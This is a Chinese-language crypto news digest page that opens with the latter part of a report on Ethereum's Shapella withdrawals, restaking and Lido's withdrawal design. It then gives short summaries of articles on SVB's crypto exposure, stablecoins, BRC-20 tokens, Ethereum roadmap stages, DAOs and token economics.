2023.02.24 我们认为，LST 的存在降低了用户提现后可能带来的潜在供应 / 销售，因为通过这些提供者质押的用户已经可以选择以名义折扣的方式转换其质押的 ETH。 此外，竞争动态激励重新质押。在所有质押池中占据领先市场份额的Lido 最近确认了其「APR 最大化」的政策，试图尽可能地重新质押尽可能多的 ETH。由于其 stETH 代币交易的折扣仅为 -0.1%，我们估计 stETH 的赎回需求将很小。因此，Lido 可能会重新质押其累计奖励的所有 224000 枚 ETH（约 3.7 亿美元），相当于总累计奖励的 20% 以上。其他质押提供者也会被迫尽可能质押更多的 ETH，以避免在与 Lido 的竞争中因 APR 不高而失去市场份额。 我们在下表中分享了关于基准情况假设的观点，即估计部分奖励被重新质押的比例。对于具有 LST 的质押池，我们假设更高的折扣将面临更大的赎回压力，以将代币恢复到标准价格。 我们承认，对于没有 LST 的中心化运营商，我们的假设相对不够严谨，并且实际情况可能与我们的理解有所不同。例如，在最近的 SEC 发起指控并关闭向美国客户提供质押服务协议的情况下，Kraken 不太可能重新质押。Celsius 也可能更喜欢流动性较高的 ETH。 尽管如此，我们通过与 RockX 等机构节点运营商的交流发现，大多数机构节点运营商都希望重新质押他们的大部分奖励以将收益最大化。因此，我们预计以机构为重点的节点运营者，如 RockX 和 Figment，将重新质押他们的大部分奖励。对于具有更多散户用户的节点运营商，例如 Stakefish 和大多数中心化交易所，我们认为只有 20% 的部分奖励会被重新质押，其余代币将会用于满足赎回请求。 部分取款的假设 因此，我们的基本假设是，部分提款的总供应中大约 52% 的 ETH 将重新质押回到信标链，从而大大缩小了潜在的供应冲击和抛售狂潮。 对于部分提款模型的深度分析，我们建议阅读Data Always的这篇文章。作者得出的结论是，「由于不打算抛售的验证者堵塞了提款队列，自动进行部分提款的决定可能会受到影响，进而缩减初期抛售狂潮的规模。」 我们预测，前 20 名验证者实体的全额提款将占总验证者提款数量的约 75%。然后对其余 25% 进行一般化假设： 拥有 LST 的质押池运营商不会从任何验证者处全额提款。从上文可以看出，超过一半的验证者提供 LST - 我们认为他们都可以仅通过部分提款将其 LST 拉回与 ETH 同价。事实上，由于重新质押 ETH 的奖励，大多数质押池运营商可能会部署新的验证者。 Kraken 将撤回大部分质押的 ETH，因为它不再允许向美国客户提供质押服务。尽管它可以以其他方式提供质押，但其面向美国的客户群的态度和监管的不确定性，都可能会引发 Kraken 质押产品的资金外流。同样，我们预计 Celsius 将完全撤回其所有验证者，以期最大限度地提高短期流动性。 对于其他中心化交易所和节点运营商，我们根据对其目标客户（机构和散户）和运营模式（汇集 / 独立、托管 / 非托管）的理解，做出 10-25% 的不同假设。根据我们与各种质押参与者的交流，我们假设机构客户的提款需求低于散户。那些采用汇集 / 托管模式的运营商面临的全额提款压力相对较低，因为他们可以通过流入资金来平衡外流资金。 总之，我们估计 Shapella 升级后将有大约 280 万 ETH 从活跃的验证者手中全额提出。 然而，与部分提款类似，我们预计会有部分 ETH 被重新质押。具体而言，许多提款的质押者会将他们的 ETH 转回给 LST 的流动质押提供商。这是因为与独立质押相比，持有 LST 的供应商有以下几个优势： 通过链上池获得即时流动性的潜力 将 LST 用作在 DeFi 上的质押品，允许用户借出稳定币、加杠杆质押 ETH 等 提供方便的重新质押机制，如 Eigenlayer。 来源: Beaconcha.in, Rated Network, Dune, project websites, Amber estimates, 2023.02.24 用户重新质押 ETH 可能将全额提款对总供应冲击的影响降低约 50%。 一系列链上指标支持我们对于提款压力走向柔和的预测： 在 Terra / 3AC 崩溃后，14 天内新验证者的平均数量继续上升。 来源: Glassnode 主要质押池的 LST 代币以微不足道的折扣交易，非托管的流动性质押提供商的折扣最小（RPL 的 LST 甚至有溢价）。这支持了我们的观点，即质押的 ETH 将从托管性向非托管性的流动性质押转移。 来源: Company websites, Coingecko 自从开始质押以来，39% 的质押者的美元账面是有盈利的。但更高的赢利百分比也意味着更高的提款压力。 来源：Dune (@hildobby) 低水平的验证者自愿退出，这是为了预防即将到来的升级。如果验证者预计升级后将出现堵塞的退出队列，一些人可能会尝试提前退出以避免排队。然而，现在可能还为时过早，这是一个需要继续关注的关键指标。 Source: Glassnode 总结 1136 个验证人退出信标链，意味着有约 39000 个 ETH 进入流通市场。 总体而言，减去可能会被重新质押的 ETH 后，我们的基础预测是会有大约 180 万个 ETH 通过提款的方式转变为流动性资产。这占 ETH 总供应量的 1.5％和信标链上 ETH 总供应量的 10.5％。我们认为这个预测是保守的，实际数字很有可能比这个低。 我们不希望所有这些 ETH 都被出售。数据表明，以太坊的总供应量越来越多地留在链上，而不是被发送到中心化交易所。我们认为这种趋势将持续存在，并预计从 Shapella 中解锁的相当数量的 ETH 将留在链上。 来源: Glassnode 预测 Shapella 升级后的抛售流模型超出了这份报告的范围，有兴趣的读者可以尝试自己建立模型。然而，需要注意的是，由于信标链的退出队列，任何全额提款带来的潜在抛售流都可能发生在数周后，而不是在几天之内。 随着提款的不确定性最终消除，我们预计会有净新需求涌入质押市场。质押 ETH 将逐渐被视为以太坊生态系统内的事实上的基准利率，类似于美国经济中的联邦基金利率。所有质押收益率应至少与 DeFi 蓝筹股协议，如 Aave、Compound 和 Euler 等看齐。 排除代币奖励之后的收益率，来源: Project websites, Defillama, 2023.02.24 从长期看，我们预计 40% 以上的 ETH 将被质押。在 40% 的参与率下，假设 MEV 和优先费用保持在 30 天内的平均水平，验证者的全部 APR 为 2.95% 左右。 来源: Staking Rewards 对流动性质押提供商的影响 Shapella 在多个方面都将惠及流动性质押提供商。如上所述，与 ETH 相比，LST 可以说是更好的质押品。例如，如果可以使用 stETH 代替 ETH 来借贷稳定币，那么以 ETH 为抵押的借贷资本效率就会变低。并且，提款可以增强 LST 对 ETH 的锚定，进而提高其作为抵押品的吸引力。因此，我们预计流动性质押提供商将赢得市场份额。 相关的是，这些项目维持它们的 LST 和 ETH 之间锚定的成本将变得更低。Shapella 升级之后，LST 的即时链上流动性变得不那么重要。例如，假设 Lido 减半其代币发行量以激励 Uniswap 等去中心化交易所上的流动性。即使锁定的总价值大幅缩小，stETH 仍将与 ETH 紧密锚定在一起。这是因为如果 stETH 真的以远低于锚定的价格进行交易，第三方套利者就会介入。在大多数情况下，提款只需要 4 到 5 天即可完成，所以我们认为，即使与锚定价格相差 10-30 个基点，套利者也会出手介入。( 在 30 个基点时，套利者的年化收益率有望达到 25%)。因此，像 Aave 和 Compound 这样的 DeFi 项目仍然可以自信地将 stETH 用作抵押资产，因为清算人和套利者随时准备购买任何脱离锚定价格的 stETH 。 总之，流动质押池很可能面临两种结果：LST 的广泛采用将增加其收入，代币发行量减少将减少其成本。一个反驳的观点是，这些 LST 协议仍需要激励流动性，以便在 DeFi 生态系统中得到很好的融合，并允许借贷协议进行即时清算。但是，Euler 将 cbETH 作为抵押品进行整合的先例表明，团队意识到即时链上流动性并不能完全反映代币抵押品的质量。 我们认为最大的受益者将是 Lido Finance。因为 stETH 被广泛应用于不同的 DeFi 应用程序中，所以它在 LST 中提供了最大的效用。Lido 的管理验证人组合允许其适应大量的质押需求 (最近一天就注册了超过 15 万个 ETH)。Frax Finance 和 Coinbase 也将受益，原因类似，尽管它们的 LST 的广泛性较低。Coinbase 也以 25% 的回报率提供更高的利润率。 Rocket Pool 可能会受益少一些。虽然我们喜欢它的去中心化设计和理念，但由于 ETH/RPL 抵押品要求，它面临着可扩展性挑战。而且，为了吸引节点运营商，它更高的利润率也是增长的障碍。尽管如此，要注意其 Atlas 升级仍是一个重要的催化剂。Atlas 允许节点运营商将其抵押品要求从 16 个 ETH 减半到 8 个 ETH ，这将使每个运营商的容量增加三倍——在一个验证器中质押的 16 个 ETH 现在可以分散到两个验证器中，因此其他用户的容量从 16 个 ETH 增加到 48 个 ETH。 Shapella 不仅影响 ETH 和质押提供商，还在许多行业产生了连带影响，例如： 以 ETH 作为质押品的稳定币。值得注意的是，两种以 ETH 作为质押品的稳定币 Liquity（LUSD）和 Reflexer（RAI）在 Shapella 之后面临阻力。随着被质押的 ETH 降低风险，用户可能会更愿意使用流动性质押的 ETH 作为质押品，而不是直接使用 ETH。而且，由于 Liquity 和 Reflexer 是特别设置为最小化治理的，它们无法将质押品基础切换到流动性质押的 ETH 。也许这是件好事，LST 仍然存在风险。但这些稳定币已经有极小的流通供应量了（LUSD: $2.30 亿，RAI: $700 万），很可能它们在 Shapella 之后将看到较低的市场份额。 Curve/Convex 和其他去中心化交易所。Lido 已经花费了近 8600 万自己的治理代币（今天的价格约 2.3 亿美元）在去中心化交易所上激励流动性，主要是针对 Curve Finance。这主要是通过创建更深的流动性来使 stETH 成为更有吸引力的资产，让两种资产之间的交易具有低滑点。LDO 发行数量通常至少占提供 stETH/ETH 交易对流动性的 APR 的一半。如果 Lido 减少这些奖励，我们可能会在 Curve 和其他去中心化交易所上看到较低的 stETH/ETH TVL，可能会导致它们的估值重新评估。为了更好理解，在 Curve 上，stETH/ETH 交易对占总锁定价值的约 32%。 像 Convex 和 Aura 这样的元治理项目将集中投票权并从 Lido 等项目获得奖励，在这种情况下也将看到较低的奖励。 另一方面，Shapella 升级还可能催生一批新的流动质押代币。Frax Finance 仅几个月前推出了其 LST，并利用其对 CVX/CRV 的控制来赢得市场份额。Yearn Finance即将推出一篮子 LST，将遵循类似的策略来获得流动性。在 Shapella 升级后，我们可能会看到一场突如其来的 LST 战争。 杠杆质押。由于 LST 和 ETH 之间的锚定更容易维持，用户可能更有信心通过链上借贷协议进行杠杆质押 ETH 。像 Aave v3 版本的 e-Mode 这样的原语允许用户在 90％的 LTV 通过 LST 借贷 ETH，而Gearbox 允许在 stETH 上进行高达 10 倍的杠杆交易，为用户提供了有趣的实验（和失败）的场所。因此，即使没有新用户想要质押 ETH，现有用户也可能会推动 Beacon Chain 上的 ETH 增长。 重新质押作为一种原语。虽然EigenLayer 的白皮书是本月才发布的，但将重新质押 ETH 作为引导新网络的基本操作的想法，已经在以太坊社区中引起了热潮。这个想法并不一定新颖，Avalanche 和 Cosmos 都有同样概念的变体。但这将进一步强化质押 ETH 作为所需质押品的地位。此外，如果质押参与率确实达到 40％ 以上，基本收益率将压缩到 3％ 或更低。在这种情况下，提供同一资产更高收益的平台将非常受欢迎。 Ether 的供应弹性。供应弹性影响 Ether 对投资者和交易者的资产等级。低弹性通常会增加波动性。一个未决问题是在 Shapella 升级之后 Ether 的供应弹性是更高还是更低。一方面，允许超过 1600 万的 ETH 变为流动性大大增加了供应弹性。另一方面，这种风险由于退出队列和以太坊相对较低的质押率得到了缓解。更高的 ETH 质押率可能会增加短期弹性，潜在地增加资产类别的波动性。 我们不为恐慌买单。虽然任何事情在短期内都可能发生，但 Shapella 升级基本上是积极事件。除此之外，它还引发了更高的质押率参与，增强了质押 ETH 作为理想抵押品的地位，提高了以太坊的安全性，并降低了以太坊作为资产的风险。 如果我们必须将以太坊称之为「完成」，那什么时候可以称之为「完成」？2023 年底。合并完成，提款完成。能够从权益证明系统中提款。基本扩容完成。完成了许多基本改进。在以太坊中添加了足够的密码学技术，以便我们可以在其上支持隐私解决方案。如果需要，我们可以在此停止。—Vitalik Buterin 在 Network State Podcast 中曾说 最重要的是，Shapella 最终将结束以太坊向权益证明的转变进程。开发人员将最终能够完全专注于以太坊路线图上的其他更紧急的议程。在 Shapella 之后，请注意 EIP-4844，它通过 danksharding 分片降低了以太坊 L2 Rollup 的成本，为以太坊的扩展路径铺平了道路。 ETH 提现常见问题解答 Beaconcha.in - Beacon Chain 区块链浏览器和统计信息 Beaconscan - Etherscan 的信标链区块链浏览器 Rated Network - 以太坊验证节点的评级和指标 Lido Ethereum 验证者和节点指标 质押计算器 - Beacon Chain Lido Dashboard Catalog（Dune） Hildobby 的 Ethereum 质押仪表板（Dune） Lido 的提取设计用于管理从 Beacon Chain 提现，它澄清了大多数 LSTs 整体结构。 stETH 持有者需要通过三个步骤来提取： 1.请求：要提取 stETH，用户可以向 Lido 发送提取请求，锁定要提取的 stETH 数量。 2.履行：之后，用户进入队列，Lido 协议按照先进先出的顺序处理请求。如果有来自新存款或部分提取的缓冲区中的 ETH，可以用来满足提取。如果缓冲区里的 ETH 不足，Lido 将请求必要数量的验证者退出。请注意，这个队列是在 Lido 协议内部的，并与以太坊的提取队列分开。 3.索赔：用户可以要求索赔其 ETH 份额。 来源: Lido 设计中一个有趣的选择是，提取的请求无法被取消，但是可以被转让。这将可能形成一个二级市场，前面排队的请求提取 Lido 的用户可以将其位置出售给那些更急需流动性的用户。 Lido 的提现将采用两种模式。在正常情况下，Lido 的提现将以极速模式运行。用户通常可以在约 3-4 天内将 stETH 转换为 ETH，如果缓冲区中有足够的 ETH，则可能缩短至仅需 1-24 小时。 然而，如果发生「大规模惩罚事件」，Lido 将进入掩体模式。当超过 600 个 Lido 验证者同时受处罚时，这种情况可能会发生。到目前为止，还没有任何一个 Lido 验证者遭到过惩罚。在这种模式下，所有提取请求都将被推迟，直到所有用户之间的损失得到社会化。这是为了防止精明的用户获得优势，因为惩罚和罚款都是异步发生的。如果没有掩体模式，精明的参与者预测到大规模惩罚将会发生，因此会将 stETH 提取成 ETH 以避免遭受损失，后续再将 ETH 转换回 stETH。 Lido 的架构优先考虑质押者，以最大化年化收益率为原则。 Lido 不会为了促进更快的提现而将更多的 ETH 留在缓冲区，而是会确保 ETH 在缓冲区中停留的时间尽可能短。 这种动态的 ETH 供应从 Shapella 「下沉 」到信标链上。它还迫使竞争者采取相同的措施，否则他们的 APR 将降低，并逐渐丢失市场份额。  ( 10 min )

  • Open

    硅谷银行暴雷，哪些加密企业牵涉其中？
    Chainfeeds 导读： Silvergate Bank 清盘后，硅谷银行（Silicon Valley Bank）也被爆出疑似存在流动性问题。硅谷银行曾投资包括 Coinbase 在内的多个加密企业，并且持有 Circle（USDC）以及 PAXOS（BUSD）部分稳定币储备资产，星球日报作者秦晓峰根据公开资料整理了与其有关的加密企业和涉及的资金规模。 文章来源： https://www.odaily.news/post/5185656 文章作者： 秦晓峰 观点： 秦晓峰：Coinbase：Coinbase 为了打通法币入金，使用了 SVB 的 ACH（自动清算所）服务，并向其支付了 40 万股认股权证。该认股权证可以让 SVB 以 1 美元的价格购买 40 万股 B 类股票，目前 Coinbase 股价在 58 美元，SVB 持股价值接近 2400 万美元。值得注意的是，Coinbase 与硅谷银行的合作在 2015 年就已经到期。 内容来源 秦晓峰：Circle：Circle 资产储备中约 20% 为现金，由 8 个受美国监管的银行合作伙伴分别持有，SVB、Silvergate 位列其中，但此前的审计报告中并未透露每家机构具体托管现金数量。Paxos：Paxos 现金储备分散在多个存款网络，其中 3451 万美元归属 FDIC 承保存款分配网络，Silvergate 以及 SVB 是 FDIC 承保存款分配网络中的参与方。 内容来源 秦晓峰：Plum：智能货币应用程序 Plum，曾于 2022 年 10 月获得 SVB 500 万英镑债务融资。Keepit：2022 年 6 月，SaaS 数据保护平台提供商 Keepit 获得了 2250 万美元的债务融资，领投方包括 SVB 以及 Vaekstfonden。Alviere：2022 年 6 月，嵌入式金融平台 Alviere 宣布获得 SVB 投资，具体金额未知。 内容来源 秦晓峰：Plaid：2021 年 9 月，SVB 宣布与美国支付公司 Plaid 合作，SVB 是第一家提供与 Plaid 集成 ACH 账户代币的银行。2021 年，Plaid  完成 4.25 亿美元 D 轮融资，由摩根大通领投。Paystand：基于区块链的 B2B 支付公司 PayStand 在 2018 年获得 SVB 加速器孵化支持，成功获得一批早期客户，并在加密熊市中存活了下来。 内容来源  ( 7 min )
    去中心化稳定币协议 Gyroscope 完成 450 万美元种子轮融资，Placeholder VC 和 Galaxy Ventures 领投
    去中心化稳定币协议 Gyroscope 完成 450 万美元种子轮融资，Placeholder VC 和 Galaxy Ventures 领投 去中心化稳定币协议 Gyroscope 宣布完成 450 万美元种子轮融资，由 Placeholder VC 和 Galaxy Ventures 领投，Maven 11、Archetype、Robot Ventures、Balancer Labs 联合创始人 Fernando Martinelli 等参投。Gyroscope 计划推出基于「全方位储备」机制的去中心化稳定币 GYD。该机制的设计核心是，即使储备中的一项资产出现问题，只会影响储备的有限部分，而不是全部。 内容来源  ( 214 min )
    【英文长推】观点：Web3 游戏受到资本推崇的三个原因
    Chainfeeds 导读： 尽管市场条件不佳，游戏和 NFT 项目在 2023 从 a16z crypto、Google Ventures 等主要加密货币公司筹集了超过 10 亿美元资金。加密研究员 Emperor Osmo 盘点了 2023 年主要 Web3 游戏和 NFT 项目的融资情况，并从用户和游戏开发商角度，总结了 3 个看好该行业发展的原因。 文章来源： https://twitter.com/flowslikeosmo/status/1634011217097269254 文章作者： Emperor Osmo 观点： Emperor Osmo：原因 1：庞大的用户基数。视频游戏拥有最大、发展最迅速的社区之一。游戏玩家在他们的技术知识方面具有战略性和悟性，当涉及到像 NFT 这样复杂的新技术时，他们会迅速学习。【原文为英文】 内容来源 Emperor Osmo：原因 2：尚未开发的资源。一个由不可替代的代币驱动的去中心化经济。游戏开发者可以从中受益，从转卖中获得佣金，从其他平台获得收入分享，以及在市场上的用户中提高知名度。【原文为英文】 内容来源 Emperor Osmo：原因 3：玩家的权力。通过「投资」时间，拥有网络的一部分。Web3 游戏和 NFT 项目允许玩家将游戏与区块链提供的效率相结合，从而引入更高级别的参与和所有权。【原文为英文】 内容来源  ( 2 min )
    外媒：Meta 正探索基于 ActivityPub 协议的去中心化社交网络应用
    外媒：Meta 正探索基于 ActivityPub 协议的去中心化社交网络应用 据 moneycontrol 引援知情人士消息，Facebook 和 Instagram 的母公司 Meta 正在构建一个代号为「P92」的内容应用。该应用将支持去中心化社交网络协议 ActivityPub，采用 Instagram 品牌，并允许用户通过他们的 Instagram 注册或登录。 内容来源 观点： Meta：我们正在探索一个独立的去中心化社交网络来共享文本更新。我们相信有机会建立一个单独的空间，创作者和公众人物可以及时分享他们的更新。【原文为英文】 内容来源  ( 48 min )
    在比特币网络上发 Token？一文了解如何铸造 BRC-20
    Chainfeeds 导读： 推特用户 @domodata 昨日启动了一场基于 Ordinals 协议的创新实验「BRC-20」，旨在通过 Ordinals 协议在比特币网络上实现像在以太坊网络上发行 ERC-20 Token 的效果。BlockBeats 作者 Cookie 简述了 BRC-20 Token 的实现方式及对其看法。 文章来源： https://www.theblockbeats.info/news/35451 文章作者： 0xCookie 观点： 0xCookie：使用 Ordinals 协议部署 BRC-20 Token 刻录文本包括：「p」：协议类型；「op」：事件类型；「tick」：BRC-20 Token 标识；「max」：最大供应量；「lim」：单个铭文可容纳的最大 BRC-20 Token 数量；「dec」：十进制精度。目前已有 $ordi、$meme 与 $punk 三个 BRC-20 Token 被成功部署。 内容来源 0xCookie：铸造刻录文本包括：「p」、「op」、「tick」、「amt」：所铸造的 BRC-20 Token 数量，该关键词定义所铸造的单个铭文将等于多少个 BRC-20 Token。转账刻录文本包括：「p」、「op」、「tick」、「amt」：所转账的 BRC-20 Token 数量；「to」：转账目标；「fee」：转账费用。无论是部署、铸造还是转账都遵循先到先得的规则。 内容来源 0xCookie：BRC-20 和在一张纸钞上写上我自己的名字然后把这张纸钞命名为「我的币」有什么区别？这恰恰是 Ordinals 协议的魅力。有人认为比特币可以是「艺术载体」，有人认为比特币可以是「铸币厂」… 每个人不同的理解会让每个 Satoshi 被刻录上不同的内容，这些内容就是比特币价值多样性的种子。@domodata 称自己为一个「实验者」，也劝大家不要在 Mint 上浪费大量的资金。 内容来源
    RAI 研究报告：V 神眼中的去中心化稳定币「理想型」
    Chainfeeds 导读： RAI 具有非法币锚定、完全去中心化、以及最小化治理的极致去信任特性，是以太坊网络上最去中心化的稳定币之一。由 Mint Venture 研究员 Lawrence Lee 撰写的关于 RAI 的研究报告，从项目基本面、优势和风险以及估值等方面分析了该项目。 文章来源： https://research.mintventures.fund/2023/03/10/zh-reflexer-finance-rai-non-pegged-over-colleteral-decentralized-stablecoin/ 文章作者： Lawrence Lee（Mint Ventures） 观点： Lawrence Lee（Mint Ventures）：投资逻辑：RAI 被以太坊创始人 Vitalik 称为是「仅由 ETH 支持的抵押自动稳定币的纯粹理想类型」。其所处的去中心化稳定币赛道，由于具有更加符合抗审查和去信任的加密世界主流叙事、同时目前的发展程度更低，具有更加广阔的发展前景。另外 RAI 还有不锚定法币这一目前稳定币市场中的稀缺特性，使得其不仅可以免于美国的监管，也可免受美联储货币政策的影响。 内容来源 Lawrence Lee（Mint Ventures）：RAI 的风险包括：1.PMF 风险：非法币锚定的稳定币在用户端的接受度低；2. 市场推广阻力因素较多：治理代币 FLX 流通量已经超过 67%，后续用于用例推广的激励可能不足；3. 团队风险：联合创始人 Stefan 出走，在用例扩展和市场推广进展一般；4. 代码风险：RAI 机制新颖且基于 PID，有潜在风险尚未暴露的可能性。 内容来源 Lawrence Lee（Mint Ventures）：估值：从 P/S 角度看，与同为以太坊网络完全去中心化稳定币的 Liquity 相比，Reflexer 的估值更低；而从稳定币规模角度来看，Reflexer 则相对高估。 内容来源  ( 13 min )
    【英文长推】观点：Web3 域名是被低估的加密资产
    Chainfeeds 导读： Web3 域名的想法是为特定的区块链地址创建一个人类可读的名称，这降低了用户进入的门槛并改进了用户体验。加密 KOL fluorescent.eth 以当前最大的去中心化域名系统 ENS 的历史发展为例，分析了 Arbitrum 生态域名服务的潜力。 文章来源： https://twitter.com/fluorescent_eth/status/1633803165215883264 文章作者： fluorescent.eth 观点： fluorescent.eth：ENS（Ethereum Name Service）是当前最大的去中心化域名系统，目前注册域名数量接近 300 万。2022 年 5 月左右是 ENS 的一次炒作高峰，由于 ENS 需要缴纳年费，这意味着上一波高峰期的许多四位数域名即将到期。他们中的许多人正在出售这些域名，因此导致了近期价格的下跌。在所有 NFT 系列中，我相信 ENS 的稀缺域名将成为最希望持有且最昂贵的系列。【原文为英文】 内容来源 fluorescent.eth：SPACE ID 是上周开放公众注册的一个域名服务，需要提醒的是，尽管它提供 .arb 域名，但没有任何申明能够证明其是官方域名服务。我个人认为缺乏数量和缺乏炒作这仍然是一个潜在的问题。但是 Arbitrum 作为新的 「Alpha」正在席卷全球，如果 .arb 最终成为 Arbitrum 网络的官方名称域，那么毫无疑问它将成为 Web3 的入口。【原文为英文】 内容来源  ( 2 min )
    【长推】Mirror 产品线梳理 ：在 toB 和 toC 之间的反复横跳
    Chainfeeds 导读： Web3 内容平台 Mirror 于昨日推出 NFT 订阅铸造 「Subscribe to Mint 」功能，却引来大量负面评论。区块链研究员 starzq.eth 盘点了 Mirror 自内测以来的产品线路更改，认为 Mirror 产品方向在 toB 和 toC 之间的反复横跳将会导致用户的不断流失。 文章来源： https://twitter.com/starzqeth/status/1633679163612880902 文章作者： starzq.eth 观点： starzq.eth：从 2021 年初内测开始，Mirror 的定位都是 toB，Web3 核心工具箱，建立 DAO 最快速简单的工具。用 Entries 写 Roadmap 和项目更新，然后众筹和分配项目资金，用 Token 来引导用户参与，再加一个 discord 来做用户互动，一个 DAO 就运作起来了。在发布了 1 年半后，2022 年 7 月 27 日终于有了基于钱包的订阅功能。 内容来源 starzq.eth：2022 年 8 月，Mirror 突然发了一个公告，说要转为 toC，一夜间下线了所有的众筹和 NFT 发布功能。转 toC 后其实没有任何动作，半年后的 2023 年 1 月 12 日，终于改进了订阅功能，只有邮箱也可以订阅，但邮箱里一直没有全文阅读，体验非常差。 内容来源 starzq.eth：然后就到了 2023 年 3 月 9 日，增加 Subscribe to Mint 功能，回到一开始 toB 的路。其实就是一个基于订阅者的 Open Edition，和 Manifold/Zora 没有本质区别，也没有看出有任何的竞争力。一个摇摆不定的产品只会不断流失用户，我自己就是其中之一。比较 Mirror 和 Substack 的 toC 体验，Substack 完胜。 内容来源  ( 2 min )
    【英文长推】以太坊线路图 Verge 和 Purge 阶段解析：如何降低节点运行成本
    Chainfeeds 导读： 对于普通节点而言，参与验证和核实以太坊网络需要较高的成本。以太坊路线图中 Verge 和 Purge 阶段重点关注了该问题，在如何提高以太坊协议的效率、去中心化和稳健性方面提出了多个目标。Blockworks 研究员 Westie Capital 解析了上述两部分路线图中的技术实现方式与目标。 文章来源： https://twitter.com/blockworksres/status/1633867655013896193 文章作者： Westie 观点： Westie：The Verge 指的是让区块验证尽可能简单和轻便的目标。The Verge 关注的是 Verkle 树和 SNARKs 的加入。Verkle 树是一种专门针对状态的 Merkle 树的更有效的替代方法，它不需要提供每个姐妹节点（共享同一个父节点的节点）到所选节点的路径，而只是提供路径本身作为证明的一部分，Verkle 证明的效率比 Merkle 证明高 3 倍。【原文为英文】 内容来源 Westie：SNARKs 是 zk 证明的一个版本，以太坊有许多元素将通过增加 SNARKs 的验证或用 SNARKs 取代旧的证明系统来升级，以获得更好的效率。这包括：基于 SNARK 的轻客户端；共识状态变化的 SNARKs；Enshrined Rollups。【原文为英文】 内容来源 Westie：The Purge 指的是通过降低参与验证网络的存储要求来简化协议的目标。这主要是通过对历史和状态的休眠和管理来实现的。历史数据休眠（EIP-4444）允许客户端修剪超过一年的历史数据，并停止在 P2P 层面提供服务。【原文为英文】 内容来源 Westie：状态休眠。当涉及到处理状态增长时，有两个主要目标：弱无状态，指的是只使用状态来建立区块，但不验证它的目标；状态休眠，指删除在规定时间内（1 年）未被访问的状态。状态休眠应该使节点需要存储的状态总共减少 20-50 GB。【原文为英文】 内容来源  ( 2 min )
    ETHDenver 有感：DAO 正在走出乌托邦困境
    Chainfeeds 导读： DAO 正在从零开始把人类历史上的组织方式和政治制度全部演进一遍，但是迭代速度是传统历史的 1000 倍。The SeeDAO 成员 Baiyu 参与了在 ETHDenver DAO 相关活动并和 DAO 好友交流后，撰文概述了有关 DAO 未来发展的思路。 文章来源： https://mp.weixin.qq.com/s/4PXK4q2TIsClVXCsz3vC_A 文章作者： Baiyu 观点： Baiyu：1）好的治理是一种动态的平衡，没有一劳永逸的方案；2）DAO 要跑起来必须结合链下工具，更重要的是透明和不可篡改；3）DAO 的关键在于共识和目标，在于成员对于组织的信任，在于成员在协作中建立的情感链接和信任关系网络；4）相较于发行代币，更重要的是提出明确的愿景，吸引到志同道合的早期核心团队；5）声誉代币未来可能会在 DAO 治理中被广泛应用；6）DAO 需要能够有效产出，能够有可持续的商业模式； 内容来源 Baiyu：7）各种各样的 DAO 都在涌现，我们需要打开 DAO 的想象力， 真正实现大规模应用；8）除开 Arogon、tally、meloch 这些 DAO 协议模板工具，现在已经出现了为 DAO 而生的链，且其他综合类 DAO 工具诸如 DAOlens、Web3CRM 等也展现了很强的产品力，让我比较惊喜的是基于 DAO 的视角从协议层考虑 DAO 工具权限问题的「Ownable Acecess Control」； 内容来源 Baiyu：9）学术研究和行业实践交叉前行，学者和组织都深入参与了 DAO 和 Web3，并结合学术资源提供自己的解决方案；10）DAO 生态已然成形，爆发是早晚的事情。 内容来源  ( 34 min )
    一文解析含着「金汤匙」出生的 Cosmos 生态子链 ：Nubiru Chain
    Chainfeeds 导读： Nibiru 是 Cosmos 生态中专注于衍生品交易的主权 Layer1，其早前完成了 750 万美元融资，估值达一亿美元，联创背景包括 Tribe Capital 合伙人、币安做市商，团队实力不容小觑。加密研究员 yyy 从生态组件构成、代币经济学对 Nibiru 进行详细介绍。 文章来源： https://twitter.com/y_cryptoanalyst/status/1633753341577797632 文章作者： yyy 观点： yyy：Nibiru 生态系统由 4 大核心组件构成：1）Nibi-Perps，提供完全去中心化对链上合约交易，通过生态系统基金和财政库进行黑天鹅事件预警和处理。2）Nibi-Swap，提供 AMM 现货交易，Nibiru V1 架构支持 2 种不同的 LP 池类型：StableSwap 池和恒定乘积池。Nibiru 的 StableSwap 基于 Curve, 支持稳定币的 Swap。 内容来源 yyy：3）$NUSD 稳定币，是 Niburu 原生的足额抵押稳定币，其支持的首个抵押品是稳定币 $USDC。用户通过提供 $NIBI 和抵押品来铸造 NUSD，两者的具体比例由抵押品比率决定。4）预言机，Nibiru 开发自己的去中心化预言机，由验证者节点扮演预言机角色。奖励提供「正确」价格的验证者，惩罚提供「错误」价格的验证者，通过底层经济激励机制保证资产喂价的有效性。 内容来源 yyy：代币经济学：Nibiru 将发行协议原生代币 $NIBI，总量 15 亿枚（硬顶），代币供应分为 8 年线性释放。最终的代币分配比例为：社区（60%），团队（21%），私募（10.5%）， 种子轮（8.5%）。 内容来源  ( 2 min )
    【英文长推】观点：Blur 在代币供应方面没有协调好生态系统参与者
    Chainfeeds 导读： 加密货币 KOL McKenna 认为 Blur 在应对创作者和 Opensea 方面做出了出色的战略决策，但在供应代币方面没有协调好生态系统参与者，并提出协调 Blur 生态系统参与者的一些想法。 文章来源： https://twitter.com/crypto_mckenna/status/1633731247867584512 文章作者： McKenna 观点： McKenna：我认为 Blur 在与创作者和 Opensea 相关的战略决策方面表现出色，但在供应方面却犯了一些错误：连续空投 10% 的总供应量、大部分社区国库资金在第一年分配、过于关注 NFT 出价。现在 BLUR 没有任何真正的池子。【原文为英文】 内容来源 McKenna：如何使生态系统参与者保持一致？1）交易者 / 代币持有者：基于质押的 BLUR 费用折扣模型；推出 Launchpad，为 BLUR 质押者提供新的 NFT ；费用变为 0.5%，并直接费用分配给 BLUR 质押者。2）创作者：作品质押 BLUR，将更多的流动性引导到他们的出价中（更适合交易者）；在 BLUR 上列出的忠诚度奖励；可以访问 Launchpad。3）流动性提供者：流动性提供者需要质押 BLUR 才能获得积分乘数；如果发现有流动性提供者在操纵系统，则会对其质押的 BLUR 进行惩罚。【原文为英文】 内容来源  ( 2 min )
    【英文长推】根据循环供应量与 FDV 对比，解析 21 年牛市的 100X 代币的经济模型
